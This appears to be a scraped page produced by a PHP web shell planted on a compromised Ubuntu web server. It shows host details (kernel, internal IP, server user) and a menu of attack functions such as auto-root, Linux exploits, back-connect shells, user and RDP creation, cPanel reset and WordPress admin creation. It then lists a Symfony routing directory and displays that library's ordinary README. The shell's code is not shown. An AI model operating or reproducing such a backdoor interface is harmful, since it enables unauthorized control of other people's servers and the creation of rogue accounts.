Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.109
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
routing /
[ HOME SHELL ]
Name
Size
Permission
Action
Annotation
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Generator
[ DIR ]
drwxrwxr-x
Loader
[ DIR ]
drwxrwxr-x
Matcher
[ DIR ]
drwxrwxr-x
CHANGELOG.md
11.47
KB
-rw-rw-r--
CompiledRoute.php
4.33
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
README.md
1.5
KB
-rw-rw-r--
RequestContext.php
6.92
KB
-rw-rw-r--
RequestContextAwareInterface.p...
558
B
-rw-rw-r--
Route.php
13.96
KB
-rw-rw-r--
RouteCollection.php
8.4
KB
-rw-rw-r--
RouteCollectionBuilder.php
9.45
KB
-rw-rw-r--
RouteCompiler.php
14.58
KB
-rw-rw-r--
RouteCompilerInterface.php
779
B
-rw-rw-r--
Router.php
12.14
KB
-rw-rw-r--
RouterInterface.php
1.02
KB
-rw-rw-r--
composer.json
1.6
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
Routing Component ================= The Routing component maps an HTTP request to a set of configuration variables. Getting Started --------------- ``` $ composer require symfony/routing ``` ```php use App\Controller\BlogController; use Symfony\Component\Routing\Generator\UrlGenerator; use Symfony\Component\Routing\Matcher\UrlMatcher; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\Route; use Symfony\Component\Routing\RouteCollection; $route = new Route('/blog/{slug}', ['_controller' => BlogController::class]); $routes = new RouteCollection(); $routes->add('blog_show', $route); $context = new RequestContext(); // Routing can match routes with incoming requests $matcher = new UrlMatcher($routes, $context); $parameters = $matcher->match('/blog/lorem-ipsum'); // $parameters = [ // '_controller' => 'App\Controller\BlogController', // 'slug' => 'lorem-ipsum', // '_route' => 'blog_show' // ] // Routing can also generate URLs for a given route $generator = new UrlGenerator($routes, $context); $url = $generator->generate('blog_show', [ 'slug' => 'my-blog-post', ]); // $url = '/blog/my-blog-post' ``` Resources --------- * [Documentation](https://symfony.com/doc/current/routing.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony)
Close